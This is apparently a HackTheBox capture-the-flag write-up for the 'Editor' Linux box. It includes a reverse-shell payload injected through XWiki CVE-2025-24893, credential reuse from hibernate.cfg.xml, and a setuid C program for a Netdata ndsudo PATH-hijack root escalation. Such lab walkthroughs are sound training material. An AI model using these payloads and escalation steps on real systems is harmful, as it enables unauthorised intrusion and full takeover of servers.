Skip to content
HackIndex logo

HackIndex

Editor Writeup - HackTheBox

Easy Linux
HackTheBox Discuss on Discord

Last updated May 10, 2026 • 3 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
3333/tcp open  http    Python http.server (SimpleHTTP/0.6 Python/3.10.12)
4444/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
8080/tcp open  http    Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/

Port 80 redirects to editor.htb — add it to /etc/hosts. Port 8080 runs XWiki on Jetty. Ports 3333, 4444, and 8000 are bare Python HTTP servers serving directory listings, nothing useful there.

Virtual Host Enumeration

┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP editor.htb 
[+] Added: 10.10.11.95 → editor.htb
┌──(kali㉿kali)-[~]
└─$ gobuster vhost -u editor.htb -w /usr/share/wordlists/dirb/big.txt --append-domain --xs 400,301 -t 50 
wiki.editor.htb   Status: 302 [--> http://wiki.editor.htb/xwiki]

Add wiki.editor.htb to /etc/hosts. Browsing to it confirms XWiki Debian 15.10.8 running on the vhost, proxied to the same Jetty instance on port 8080.

Initial Access

CVE-2025-24893 — XWiki Groovy SSTI RCE

XWiki 15.10.8 is vulnerable to CVE-2025-24893, an unauthenticated server-side template injection via the Solr search endpoint. The SolrSearch handler renders RSS output without sanitising Groovy template expressions, allowing arbitrary code execution without authentication.

Clone the PoC:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/gunzf0x/CVE-2025-24893
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-24893

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Fire the exploit:

┌──(kali㉿kali)-[~]
└─$ python3 ./CVE-2025-24893.py -t http://wiki.editor.htb -c "busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash" 
[*] Attacking http://wiki.editor.htb
[*] Injecting the payload:
http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22busybox%20nc%2010.10.15.250%201111%20-e%20/bin/bash%22.execute%28%29%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D
[*] Command executed

Shell lands as xwiki. Stabilise it:

user@host ~ $ python3 -c 'import pty;pty.spawn("/bin/bash")'

Lateral Movement

Credential Reuse via XWiki Database Config

XWiki stores its database connection details in hibernate.cfg.xml. On Debian-based XWiki installs the file is at:

┌──(kali㉿kali)-[~]
└─$ cat /etc/xwiki/hibernate.cfg.xml 
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&amp;allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">$XWIKI_DB_PASSWORD</property>

/etc/passwd shows oliver (UID 1000) is the only human user on the box. Try the database password as oliver's SSH password:

┌──(kali㉿kali)-[~]
└─$ ssh oliver@$TARGET_IP

It works. The password was reused directly on the system account.

Privilege Escalation

CVE-2024-32019 — Netdata ndsudo PATH Hijack

Enumerate SUID binaries:

┌──(kali㉿kali)-[~]
└─$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null 
-rwsr-x--- 1 root netdata 200576 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

ndsudo is a Netdata helper binary with the SUID bit set, owned by root, executable by members of the netdata group. CVE-2024-32019 describes a PATH injection vulnerability: ndsudo executes commands like nvme-list by resolving the nvme binary from the current PATH without sanitising it, inheriting root privileges in the process.

Check group membership:

┌──(kali㉿kali)-[~]
└─$ id 
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

Oliver is in the netdata group, so ndsudo is reachable.

Create the fake nvme binary. Write the following to nvme.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

Compile and stage it:

┌──(kali㉿kali)-[~]
└─$ gcc nvme.c -o nvme
┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/fakebin
┌──(kali㉿kali)-[~]
└─$ mv nvme /tmp/fakebin/
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/fakebin/nvme

Prepend the fake directory to PATH and trigger ndsudo:

┌──(kali㉿kali)-[~]
└─$ export PATH=/tmp/fakebin:$PATH
┌──(kali㉿kali)-[~]
└─$ which nvme 
/tmp/fakebin/nvme
┌──(kali㉿kali)-[~]
└─$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list 
root@editor:/tmp/fakebin#

Root shell.

References